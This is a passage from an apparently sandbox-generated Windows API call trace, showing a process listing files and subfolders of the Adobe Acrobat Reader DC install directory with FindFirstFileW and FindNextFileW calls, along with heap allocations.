ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures.aapp", cAlternateFileName="COLLEC~1.AAP")) returned 1 [0244.304] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Combine_R_RHP.aapp", cAlternateFileName="COMBIN~1.AAP")) returned 1 [0244.304] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d500f0c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.aapp", cAlternateFileName="COMMEN~1.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compare_R_RHP.aapp", cAlternateFileName="COMPAR~1.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_Full.aapp", cAlternateFileName="CPDF_F~1.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_RHP.aapp", cAlternateFileName="CPDF_R~1.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Exp_RHP.aapp", cAlternateFileName="EDIT_R~3.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Full.aapp", cAlternateFileName="EDIT_R~1.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_RHP.aapp", cAlternateFileName="EDIT_R~2.AAP")) returned 1 [0244.345] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_Full.aapp", cAlternateFileName="EPDF_F~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363534a5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_RHP.aapp", cAlternateFileName="EPDF_R~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d52724e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xa7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FillSign.aapp", cAlternateFileName="FILLSI~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d551e46, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x163, dwReserved0=0x0, dwReserved1=0x0, cFileName="Home.aapp", cAlternateFileName="HOME~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Measure.aapp", cAlternateFileName="MEASUR~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MoreTools.aapp", cAlternateFileName="MORETO~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OptimizePDF_R_RHP.aapp", cAlternateFileName="OPTIMI~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pages_R_RHP.aapp", cAlternateFileName="PAGES_~1.AAP")) returned 1 [0244.346] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect_R_RHP.aapp", cAlternateFileName="PROTEC~1.AAP")) returned 1 [0244.347] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Redact_R_RHP.aapp", cAlternateFileName="REDACT~1.AAP")) returned 1 [0244.347] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scan_R_RHP.aapp", cAlternateFileName="SCAN_R~1.AAP")) returned 1 [0244.347] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamp.aapp", cAlternateFileName="STAMP~1.AAP")) returned 1 [0244.347] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrackedSend.aapp", cAlternateFileName="TRACKE~1.AAP")) returned 1 [0244.347] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 1 [0244.347] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 0 [0244.347] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0244.349] GetProcessHeap () returned 0xc10000 [0244.349] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 0 [0244.349] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0244.349] GetProcessHeap () returned 0xc10000 [0244.349] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0244.349] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCEF", cAlternateFileName="")) returned 1 [0244.349] GetProcessHeap () returned 0xc10000 [0244.349] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0244.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0244.373] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.373] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaad3e64, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef.pak", cAlternateFileName="")) returned 1 [0244.373] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac515e2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_100_percent.pak", cAlternateFileName="CEF_10~1.PAK")) returned 1 [0244.374] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_200_percent.pak", cAlternateFileName="CEF_20~1.PAK")) returned 1 [0244.374] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef_extensions.pak", cAlternateFileName="CEF_EX~1.PAK")) returned 1 [0244.374] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f80ae4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x6b3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome_elf.dll", cAlternateFileName="CHROME~1.DLL")) returned 1 [0244.374] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYING.LGPLv2.1.txt", cAlternateFileName="COPYIN~1.TXT")) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x202368, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_43.dll", cAlternateFileName="D3DCOM~1.DLL")) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaefffe5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x392eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="d3dcompiler_47.dll", cAlternateFileName="D3DCOM~2.DLL")) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9f5a940, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x9b49f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudt.dll", cAlternateFileName="")) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icudtl.dat", cAlternateFileName="")) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe293087a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x458f9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libcef.dll", cAlternateFileName="")) returned 1 [0244.375] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xd9fa6d5f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x15650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libEGL.dll", cAlternateFileName="")) returned 1 [0244.376] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda3accdd, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x2ca650, dwReserved0=0x0, dwReserved1=0x0, cFileName="libGLESv2.dll", cAlternateFileName="LIBGLE~1.DLL")) returned 1 [0244.376] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190e7af4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x69b, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE.txt", cAlternateFileName="")) returned 1 [0244.376] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdac9da78, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="locales", cAlternateFileName="")) returned 1 [0244.376] GetProcessHeap () returned 0xc10000 [0244.376] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0244.376] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\locales\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdac9da78, ftCreationTime.dwHighDateTime=0x1d39f5d, 